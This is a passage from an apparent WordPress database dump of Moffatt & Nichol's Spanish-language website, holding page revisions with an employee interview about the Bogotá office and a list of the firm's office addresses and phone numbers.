que el trabajo siempre es interesante. \r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nManejé grandes proyectos en la oficina de Nueva York de la compañía hasta que tuve la oportunidad de trasladarme a Panamá y de apoyar la oficina de allí. Eso llevó a la oportunidad de abrir una nueva sucursal en Bogotá, Colombia, donde trabajo actualmente. \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong> \r\nEl trabajo varía constantemente, así que tengo la oportunidad de trabajar en muchas áreas, desde desarrollos de terminales de contenedores y carbón o reparaciones estructurales marítimas hasta estudios de redes de transporte.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nEn términos de proyectos empresariales, la compañía ha comenzado a enfocarse en trabajo internacional más que cuando me uní por primero vez, proporcionando nuevos y diversos desafíos tanto en la adquisición como en la finalización de proyectos.\r\nEn términos de atmósfera laboral, no ha cambiado realmente - y me gusta eso. A través de los buenos y malos tiempos de la economía, la compañía ha mantenido una pequeña compañía, con una atmósfera familiar que fomenta un sentido de cooperación entre los empleados y las oficinas.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nLa primera cosa que fue evidente de inmediato cuando me uní a Moffatt & Nichol era lo bien que las varias oficinas y sus empleados trabajaban juntos. Como mencioné, un fuerte espíritu cooperativo penetra la organización y uno puede sentirse realmente como parte de algo mayor que la suma de sus componentes. Pienso que esto viene de conservar una atmósfera de negocio familiar, incluso a medida que la compañía y la escala de los proyectos siguen creciendo.\r\n</p>','David ','<p class=\"para-text\">\r\n<strong> David </strong>\r\nGerente general, Oficina de Colombia  \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nSabÃa de Moffatt & Nichol a travÃ©s de mi trabajo en la industria de ingenierÃa marÃtima pero la decisiÃ³n para unirme fue motivada sobre todo por la recomendaciÃ³n y las buenas experiencias de uno de mis colegas mÃ¡s respetados, que se habÃa unido la firma dos aÃ±os antes.  \r\n</p>','inherit','open','open','','1507-revision-3','','','2013-01-29 12:42:48','2013-01-29 12:42:48','',1507,'http://moffattnichol.com/spanish/1507-revision-3/',0,'revision','',0),(2786,1,'2013-01-21 07:33:26','2013-01-21 07:33:26','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n+1 410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n+1 225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"27\">Charleston</h2>\r\n<strong>dirección</strong>\r\n\r\n4975 Lacross Road, Suite 151\r\n\r\nNorth Charleston, SC 29406\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 843-576-3750\r\n\r\n<strong>fax</strong>\r\n\r\n+1 843-576-3755\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÚ</h2>\r\n<strong>dirección</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n+1 808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>dirección</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n+1 713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>dirección</strong>\r\n\r\nFifth Floor, 35 Great St. Helen’s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>dirección</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n+1 562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>dirección</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n+1 212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>dirección</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 757-628-8244\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>dirección</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>dirección</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n+1 407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÁ</h2>\r\n<strong>dirección</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamá, República de Panamá\r\n\r\n<strong>teléfono</strong>\r\n\r\n+507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>dirección</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n+1 919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>dirección</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n+1 804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>dirección</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n+1 585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\r\n<strong>dirección</strong>\r\n\r\nRua Farme de Amoedo, 56 / 8° andar\r\n\r\nIpanema – Río de Janeiro / RJ\r\n\r\nCEP 22420-020\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 2103-4630\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>dirección</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n+1 619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n+1 912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n+1 813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"6\">Tamuning</h2>\r\n<strong>dirección</strong>\r\n\r\nITC Building Suite 801\r\n\r\n590 S. Marine Corps Drive\r\n\r\nTamuning, Guam 96913\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 671-648-1000\r\n\r\n<strong>fax</strong>\r\n\r\n+1 671-648-1001\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n+1 604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n+1 601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n+1 925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-10','','','2013-01-21 07:33:26','2013-01-21 07:33:26','',14,'http://moffattnichol.com/spanish/14-revision-10/',0,'revision','',0),(2787,1,'2013-06-19 04:20:34','2013-06-19 04:20:34','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n+1 410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n+1 225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"27\">Charleston</h2>\r\n<strong>dirección</strong>\r\n\r\n4975 Lacross Road, Suite 151\r\n\r\nNorth Charleston, SC 29406\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 843-576-3750\r\n\r\n<strong>fax</strong>\r\n\r\n+1 843-576-3755\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img 